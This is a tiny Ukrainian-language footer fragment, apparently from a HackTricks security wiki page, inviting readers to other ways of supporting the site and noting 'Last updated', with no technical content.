Інші способи підтримки HackTricks:

Last updated